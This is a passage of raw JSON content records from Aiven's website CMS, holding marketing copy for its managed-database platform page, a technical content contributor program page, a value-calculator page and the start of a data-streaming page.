study"},"image":{"_type":"mainImage","asset":{"_ref":"image-787600fdb91287341f7190c05b464a12ee4cd87b-1950x1297-webp","_type":"reference"}},"jobTitle":"Senior Software Engineer, Helthjem","name":"Dave Li"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"},{"_key":"a01p4oscjbx916zieqdvw0ecnty1k0bp","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"left","iconSize":24,"icons":[{"_key":"0rmx6nkxrjfoscs593gabcn4yc4ar75y","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"0d0fbf4145fc","_type":"block","children":[{"_key":"700b0de367cc0","_type":"span","marks":[],"text":"Select from popular database types to fit your data, workloads and performance requirements. "}],"markDefs":[],"style":"normal"},{"_key":"c4ee30381696","_type":"block","children":[{"_key":"3442e68b22b1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Open choice"},{"_key":"56ie3t8cd05vgpllc1r6u4edjwvkkofe","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-a145021d9dfd38c501e1262164f3d3f33511d50a-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"71b6e901fc3d","_type":"block","children":[{"_key":"f45ef62ed6aa0","_type":"span","marks":[],"text":"Upgrade versions or apply maintenance updates with a single click. No interruptions or downtime."}],"markDefs":[],"style":"normal"}],"title":"Automated platform"},{"_key":"4ba8167a6ccc045f3137414d464e7cb6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ahut9jmjtq6c1k2uugna0oxghiv0dfnv","_type":"block","children":[{"_key":"d414702496c8","_type":"span","marks":[],"text":"Run your databases on any major public cloud platform through a unified platform. Migrate or replicate data across clouds to maximize redundancy and avoid vendor lock-in."}],"markDefs":[],"style":"normal"}],"title":"Many clouds, one workflow"},{"_key":"720ed710d9b696893a89f64667ac46f6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"510fbda94846","_type":"block","children":[{"_key":"e4384a32c30d","_type":"span","marks":[],"text":"Optimize performance and reduce costs with AI-driven recommendations for PostgreSQL® and MySQL using "},{"_key":"03f9995a1800","_type":"span","marks":["c43d3a49d651"],"text":"Aiven AI Database Optimizer"},{"_key":"3386bed95ec3","_type":"span","marks":[],"text":". "}],"markDefs":[{"_key":"c43d3a49d651","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"}],"title":"AI-driven optimization"},{"_key":"0bc3e2dbbc149f285ef7c1fda36f7206","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3uvuxy7gu8yd59bfu6n8xkjjnv9wp066","_type":"block","children":[{"_key":"e77ge6nkhdjs7ragy01i94cjzzh724d9","_type":"span","marks":[],"text":"Replicate your data, scale your clusters, configure backups and schedule automated upgrades, on any cloud, all in one place."}],"markDefs":[],"style":"normal"}],"title":"Resilient and scaleable"},{"_key":"hyfnqgr5bohhtbrpcdonfaeq2onne5t5","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"98r8xc6k7pl57t553s10yzpygv6fpb0q","_type":"block","children":[{"_key":"olmxwrat23uacpdeu5k663kaln8428q0","_type":"span","marks":[],"text":"Aiven provides simple, transparent and predicable pricing without hidden costs or complexities."}],"markDefs":[],"style":"normal"}],"title":"Predictable pricing"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Learn more about the Aiven Platform"},"roundedCorners":"rounded","subtitle":[{"_key":"d1mb3rtetwyjgu7x7sxi4052cog1g0v9","_type":"block","children":[{"_key":"z7uqk111mdwimmrnyjk5w2oe1r4k3t58","_type":"span","marks":[],"text":"Aiven provides the most widely-used and highest-performing data services on the largest cloud providers to help you create and manage your most valuable asset - your data."}],"markDefs":[],"style":"normal"},{"_key":"kjjhtear2kd4u447kgz37symvzd2j5e1","_type":"block","children":[{"_key":"7rce4n72gs5mxieli54nx5tjbhq9p3t4","_type":"span","marks":[],"text":"Each service comes with Aiven's 99.99% SLA with support and expert services to help you get the most from your data. "}],"markDefs":[],"style":"normal"},{"_key":"8nui52x5r7hm70twrkw1vfhkqa0tdroa","_type":"block","children":[{"_key":"anpy9h3y2t0bzplg1a4vy4u5gl0f264m","_type":"span","marks":[],"text":"Let Aiven manage your data infrastructure so you can use your data to achieve great outcomes."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Fast, performant, and scalable databases"},{"_key":"896ccb810115","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"f735160eb40c","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-8371936a7906a98fd63ae43361a9157a4a1498e5-48x48-svg","_type":"reference"}},"subtitle":[{"_key":"6a3e7364a77d","_type":"block","children":[{"_key":"fc5a8c3c1d09","_type":"span","marks":[],"text":"Aiven for AlloyDB Omni combines Google Cloud’s high-performance, "},{"_key":"92d0c8b8d480","_type":"span","marks":["strong"],"text":"100% PostgreSQL®-compatible database"},{"_key":"58d3a4991ad8","_type":"span","marks":[],"text":", AlloyDB Omni, with Aiven's fully managed, multi-cloud, data infrastructure platform, to help organizations run transactional, analytical and vector workloads on any cloud, managed through a single platform."}],"markDefs":[],"style":"normal"}],"title":"Aiven for AlloyDB Omni (Early Availability)","variant":"icon-card"},{"_key":"555c01ab7ca7264abe38ea39cc5615a0","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"3689adae390a","_type":"block","children":[{"_key":"bf2b456a8c850","_type":"span","marks":[],"text":"A managed, open source "},{"_key":"8c2bba861840","_type":"span","marks":["strong"],"text":"relational database"},{"_key":"4275ec65b3ee","_type":"span","marks":[],"text":" ideal for organizations that need a well-organized tabular datastore and SQL queries. Aiven for PostgreSQL® is proven, reliable and scalable with a robust feature set and extensions to consistently deliver performant and innovative solutions."}],"markDefs":[],"style":"normal"}],"title":"Aiven for PostgreSQL®","variant":"icon-card"},{"_key":"7a4d28799d3bf009b6ab76b59a48fc87","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"126c5f566fd5","_type":"block","children":[{"_key":"e6b99af4a21a0","_type":"span","marks":[],"text":"A managed, open source "},{"_key":"64a9a2b05079","_type":"span","marks":["strong"],"text":"relational database"},{"_key":"c8b16d549210","_type":"span","marks":[],"text":" that interacts with many well-established applications. Whether you are building something new or looking for a modern platform for your existing applications, Aiven for MySQL is friendly, scalable and one of the best open source databases around."}],"markDefs":[],"style":"normal"}],"title":"Aiven for MySQL","variant":"icon-card"},{"_key":"1f1b4405e4c3cf10ec29838ed3d516b1","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-f997cab5874d12c680040053b0a516337323f549-48x48-svg","_type":"reference"}},"subtitle":[{"_key":"cc4131752a84","_type":"block","children":[{"_key":"74fdafacbe8f","_type":"span","marks":[],"text":"A managed, in-memory "},{"_key":"6d02ff778e491","_type":"span","marks":["strong"],"text":"NoSQL database "},{"_key":"22729fe1090c","_type":"span","marks":[],"text":"that serves as a fast data store, cache or lightweight message broker to improve application performance. Valkey is the open source version of Redis® supported by The Linux Foundation and committers from Aiven and many other organizations. It can be integrated seamlessly into an observability stack for logging and monitoring."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Valkey™","variant":"icon-card"},{"_key":"66cdfaa3c562f170f524460bb864109b","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"3f701143f74d","_type":"block","children":[{"_key":"303037408a3d0","_type":"span","marks":[],"text":"An advanced, low latency, in-memory "},{"_key":"303037408a3d1","_type":"span","marks":["strong"],"text":"NoSQL database"},{"_key":"303037408a3d2","_type":"span","marks":[],"text":" built for high-performance, large-scale Redis® workloads. It is ideal for caching and high-volume data operations like web, social media and online gaming applications. It delivers nearly 700 percent higher throughput (requests per second) and uses around 25 percent less memory compared to open source Redis® on similar hardware, according to our benchmark study."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Dragonfly","variant":"icon-card"},{"_key":"d6e0255223f0","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"4e2d896e3578","_type":"block","children":[{"_key":"6de756914852","_type":"span","marks":[],"text":"An open source, "},{"_key":"1b7bde33be0a","_type":"span","marks":["strong"],"text":"columnar cloud data warehouse"},{"_key":"785929aefc98","_type":"span","marks":[],"text":" that delivers real-time analytics and reports using advanced SQL queries. It delivers exceptionally high performance, excellent data compression, and a rich set of SQL extensions for analytics, and is ideal for offloading analytics from operational databases and getting real-time insights from streaming data."}],"markDefs":[],"style":"normal"}],"title":"Aiven for ClickHouse®","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"95aa301f1eb4","_type":"block","children":[{"_key":"0f446d9694f90","_type":"span","marks":[],"text":"The "},{"_key":"cf416519ec81","_type":"span","marks":["4078f4ea1b5c"],"text":"Aiven data and AI platform"},{"_key":"162329c7fa23","_type":"span","marks":[],"text":" goes beyond just storing data. It gives you all of the tools you need to manage any type of data effectively and efficiently with AI insights to optimize performance. And, with "},{"_key":"4b2b1884df8b","_type":"span","marks":["b0736fdc05ff"],"text":"Aiven AI Database Optimizer"},{"_key":"6b2e688e7978","_type":"span","marks":[],"text":" you can solve PostgreSQL and MySQL performance issues in minutes rather than days and enable your developers to build scalable applications faster and save on operational and developer costs."}],"markDefs":[{"_key":"b0736fdc05ff","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}},{"_key":"4078f4ea1b5c","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"tagline":"Why Aiven","title":"Our database platform"},{"_key":"cdb0e2bdc1b5","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"items":[{"_key":"6570167aed78","_ref":"cf430ec4-993f-4296-854f-14b929516170","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"variant":"media"},{"_key":"5kffpo9ogp80mnxexze1n7x2kek0vq1g","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"subtitle":[{"_key":"yzl22aup1ucob8tf2f4mk8acx037grzw","_type":"block","children":[{"_key":"iei42q5v2yj8kt2jgq9oyunz6dxwo0rd","_type":"span","marks":[],"text":"Discover "},{"_key":"4812fbee961d","_type":"span","marks":["8f2d85375190"],"text":"Aiven Platform"},{"_key":"d5af749b3651","_type":"span","marks":[],"text":" - one platform for streaming, storing, and serving data. Deliver value from your data more quickly and minimize complexity so your developers can focus on innovation – in any cloud."}],"markDefs":[{"_key":"8f2d85375190","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"title":"Get started with Aiven today","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Simplify database administration with popular, purpose-built databases like MySQL, PostgreSQL, Valkey, and ClickHouse.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-3d8c31dcf3545e92adecd2330a7ac23348690745-1200x630-jpg","_type":"reference"}},"metaTitle":"Cloud database platform"},"slug":{"_type":"slug","current":"/platform/store"},"title":"Platform - Store"} {"__i18n_lang":"en","_createdAt":"2023-01-30T13:50:54Z","_id":"bcc4268f-c028-4098-b309-1419e047f273","_rev":"A5seFJXEmkKSGRuwsIc7kF","_type":"page","_updatedAt":"2023-02-21T10:03:19Z","content":[{"_key":"481e45ebba93","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","description":[{"_key":"72bc922a1643","_type":"block","children":[{"_key":"3bc2beb76e970","_type":"span","marks":[],"text":"Join the ranks of published technical experts in the Aiven developer community, build your professional profile and grow your network."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-2c63c26fe09fd39ca42a0f97ee94bfb9a8a476af-816x686-png","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven-io.typeform.com/to/nNkbyTCA","title":"Become a contributor"},"rounded":false,"title":"Share your open source expertise with the community","variant":"default"},{"_key":"00b95d13c98b","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"f987c7d0343a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"256000640598","_type":"block","children":[{"_key":"0919758d89d20","_type":"span","marks":[],"text":"Show your expertise in the field and gain recognition for your content within the expert communities. We will share your content on various Aiven channels and feature your social media links."}],"markDefs":[],"style":"normal"}],"title":"Build your profile"},{"_key":"265836750dd211d41de2882900a8cfac","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"8d0a5726d703","_type":"block","children":[{"_key":"86f91d4a31540","_type":"span","marks":[],"text":"Create a piece on an open source topic of your choice, and we'll offer support with the writing and presentation skills."}],"markDefs":[],"style":"normal"}],"title":"Grow your skills"},{"_key":"f35a85c16db19226270122660f8b9f07","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-6390718f0f0f1312203b807186b5dad5da4a80be-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"3c4a4555351a","_type":"block","children":[{"_key":"caa10bbea2680","_type":"span","marks":[],"text":"Get a set of Aiven awesome swag and one of the following gifts:"}],"markDefs":[],"style":"normal"},{"_key":"cd2ecfbadda4","_type":"block","children":[{"_key":"2fa6c82cf5110","_type":"span","marks":[],"text":"Extra credit for your Aiven account"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e681a5f9a0d2","_type":"block","children":[{"_key":"af57ba6bd8be0","_type":"span","marks":[],"text":"A donation to your favorite charity"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"037bc9d742bc","_type":"block","children":[{"_key":"a9a0304a80d40","_type":"span","marks":[],"text":"A ticket to our next Uptime event"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Give back and get rewarded"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"What are the benefits?"},{"_key":"a6094491088e","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"isFaqAccordion":true,"items":[{"_key":"b95172433892","_type":"accordionItem","id":"contributor","panelText":[{"_key":"679dbc181ac4","_type":"block","children":[{"_key":"f4b3a1ac6da90","_type":"span","marks":[],"text":"Anyone! Even if you haven't written anything before, we encourage you to start - tell us what you have in mind, and we'll support you along the way."}],"markDefs":[],"style":"normal"}],"title":"Who can contribute?"},{"_key":"65912f2c0151","_type":"accordionItem","id":"topic","panelText":[{"_key":"2bb34c7b6f87","_type":"block","children":[{"_key":"f2a313598bfa0","_type":"span","marks":[],"text":"So you've decided to start writing - where to begin? We recommend building your article around personal experience, which always gives a powerful and practical angle to your content. The key is to keep your content relevant, solution-focused, replicable, and usable for developers, DevOps or platform engineers, and data professionals."}],"markDefs":[],"style":"normal"},{"_key":"a30b70e1ec7a","_type":"block","children":[{"_key":"49c4ba58881c0","_type":"span","marks":[],"text":"Here are some thoughts to kick you off:"}],"markDefs":[],"style":"normal"},{"_key":"7e55a7423fc4","_type":"block","children":[{"_key":"5b7340e716130","_type":"span","marks":[],"text":"Use cases and experiences in using open source data infrastructure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2bcbc48d60b6","_type":"block","children":[{"_key":"8aea13a8598b0","_type":"span","marks":[],"text":"How to build a specific solution leveraging open source data infrastructure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a6041b9eac04","_type":"block","children":[{"_key":"d8474af0660a0","_type":"span","marks":[],"text":"Thought leadership on open source technologies, data infrastructure management, data architect"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"How to find a topic?"},{"_key":"61f569af4893","_type":"accordionItem","id":"process","panelText":[{"_key":"e9596d3a01eb","_type":"block","children":[{"_key":"ab23752d8fe30","_type":"span","marks":["strong"],"text":"Apply"},{"_key":"c24cd3431569","_type":"span","marks":[],"text":" - Submit your ideas via this "},{"_key":"71217d803de8","_type":"span","marks":["bfb9ecf781e7"],"text":"form"},{"_key":"7d5bc585b578","_type":"span","marks":[],"text":". We will review your submission quickly. The goal is to hear what you want to create and how we can best support you."}],"level":1,"listItem":"number","markDefs":[{"_key":"bfb9ecf781e7","_type":"link","href":"https://aiven-io.typeform.com/to/nNkbyTCA"}],"style":"normal"},{"_key":"2da0c9272162","_type":"block","children":[{"_key":"03ab0c523747","_type":"span","marks":["strong"],"text":"Collaborate \u0026 Create"},{"_key":"38538da1384d","_type":"span","marks":[],"text":" - Once your submission has been reviewed, we will schedule a short kick-off call to work on the content outline."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"990571fb18fe","_type":"block","children":[{"_key":"9b9d96231d80","_type":"span","marks":["strong"],"text":"Review \u0026 Revise"},{"_key":"0dd073c27e7a","_type":"span","marks":[],"text":" - You can start drafting your content, and our team will help you to review it."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"bce8d1da8905","_type":"block","children":[{"_key":"c07f3145b514","_type":"span","marks":["strong"],"text":"Publish"},{"_key":"d052d42df865","_type":"span","marks":[],"text":" - When the content is approved, we will publish your content on different channels. We can also share it on external channels depending on the topic and content type."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f355289a43b4","_type":"block","children":[{"_key":"c4f6235cd5b5","_type":"span","marks":["strong"],"text":"Get rewarded"},{"_key":"702471f09834","_type":"span","marks":[],"text":" - You can choose your reward among the ones Aiven offers!"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"74c151c1298f","_type":"block","children":[{"_key":"5d6cc73153580","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"What is the process?"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"subtitle":[{"_key":"cd3c619b1145","_type":"block","children":[{"_key":"c9f117f7f4090","_type":"span","marks":[],"text":"We’re looking for experts and enthusiasts interested in sharing their knowledge on open source tech, data infrastructure management, or data architecture. Tell us what you have in mind, and we’ll support you along the way."}],"markDefs":[],"style":"normal"}],"title":"Collaborate with us"},{"_key":"ff5c998b2cdb","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"headerPosition":"left","items":[{"_key":"ae7646c811a7","_ref":"d8f581eb-471c-439e-a87b-b7596812f19d","_type":"reference"},{"_key":"e237a4537215","_ref":"0f535739-8443-49d6-89b1-c9d898799ad5","_type":"reference"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"fde72a6b0ea6","_type":"block","children":[{"_key":"50232bdc7f610","_type":"span","marks":[],"text":"Read the latest blog posts from the Aiven technical content contributors. Ready to add your piece next?"}],"markDefs":[],"style":"normal"}],"tagline":"Featured","title":"Latest from our contributors"},{"_key":"026ab740fe5b","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","darkTheme":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven-io.typeform.com/to/nNkbyTCA","title":"Become a contributor"},"rounded":true,"subtitle":[{"_key":"aefb1dfe8a52","_type":"block","children":[{"_key":"03211dd4b29e0","_type":"span","marks":[],"text":"Submit your ideas and we will get back to you shortly. If you have any questions or feedback about the program, please contact us at ..."}],"markDefs":[],"style":"normal"}],"title":"Let's collaborate together!","variant":"centerColumn"}],"infoBannerPosition":"bottom","seo":{"_type":"metaData","metaDescription":"Share your passion for solving data problems through open source technology with the wider community - by writing or speaking about it.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7f97fdf582bbfbeef35ea9afb818002c3456de63-1200x630-jpg","_type":"reference"}},"metaTitle":"Technical Content Contribution Program | Aiven"},"slug":{"_type":"slug","current":"/technical-content-contribution"},"title":"Technical Content Contribution Program"} {"__i18n_lang":"en","_createdAt":"2022-09-26T08:49:36Z","_id":"a0d9c1c3-d9db-4505-9be9-2cdc41f78178","_rev":"ULcVtA1fOCO5xNRu1cy7P1","_type":"page","_updatedAt":"2023-04-14T10:03:19Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"74efaa7b2287","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Find out how much you'll save when Aiven handles your data infrastructure. Our calculator takes just 3 minutes – and could save you a small fortune.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-86750f6c428dd10568c02e99ed26c74f21468f6e-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven value calculator - Save time and money with Aiven"},"slug":{"_type":"slug","current":"/aiven-value-calculator"},"title":"Aiven value calculator"} {"__i18n_lang":"en","_createdAt":"2024-03-21T12:12:23Z","_id":"70d94b51-4183-47e4-bce1-6672b43536ff","_rev":"ezMiwuUkJkbYMWycAKOOSl","_type":"page","_updatedAt":"2024-09-10T16:03:38Z","content":[{"_key":"ee7eb6877dcc","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Stream","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"d2ebc5039b28","_type":"block","children":[{"_key":"ef9df02d0f9c0","_type":"span","marks":["color-primary"],"text":"Stream and process"},{"_key":"9d8a84fabb00","_type":"span","marks":[],"text":" your data in real time"}],"markDefs":[],"style":"h1"},{"_key":"d279762013e9","_type":"block","children":[{"_key":"4c47eefe8f2b","_type":"span","marks":[],"text":"Accelerate decision making, innovation, and growth by becoming a real-time, data-driven organization."}],"markDefs":[],"style":"normal"}],"hostProviders":[{"_key":"f2fe4d5d6da5","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"f72cde95f3e0","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"8de5c548b28d","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"6092bf8b5f7d","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"f2651f1ca781","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-a3db52f5bd47185dfac6569d410c3505657f0b3b-1783x1520-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover the Aiven Platform"},"roundedCorners":"rounded-b","title":"Streamline your data in real-time with our unified streaming platform","titleMultiColor":true,"variant":"default"},{"_key":"vn6epml1mmq9960w9wj1cim1kaqiar81","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"center","image":{"_type":"mainImage","asset":{"_ref":"image-c123812bcaf59a8e81f061167d70a88e71d9b565-1188x823-png","_type":"reference"}},"items":[{"_key":"5477718ba32d","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-d098c89aa75fd3ac9a72fbce0df9f861baaaf3e6-24x24-svg","_type":"reference"}},"id":"streaming-ecosystem","panelText":[{"_key":"d8cbcd4febfb","_type":"block","children":[{"_key":"3c50d985bb97","_type":"span","marks":["strong"],"text":"End-to-End Open Source Streaming:"},{"_key":"e5dc404f0ad3","_type":"span","marks":[],"text":" Aiven offers a complete, managed, fully open-source streaming ecosystem built around Apache Kafka, gaining maximum flexibility and complete control over your streaming infrastructure to fostering innovation."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a1a08b01e2c6","_type":"block","children":[{"_key":"5cbf37a63c2e","_type":"span","marks":["strong"],"text":"Multi-Cloud:"},{"_key":"0217ef430e6a","_type":"span","marks":[],"text":" Deploy your entire streaming ecosystem on your preferred cloud provider with one-click portability to other clouds, enabling true flexibility and cost 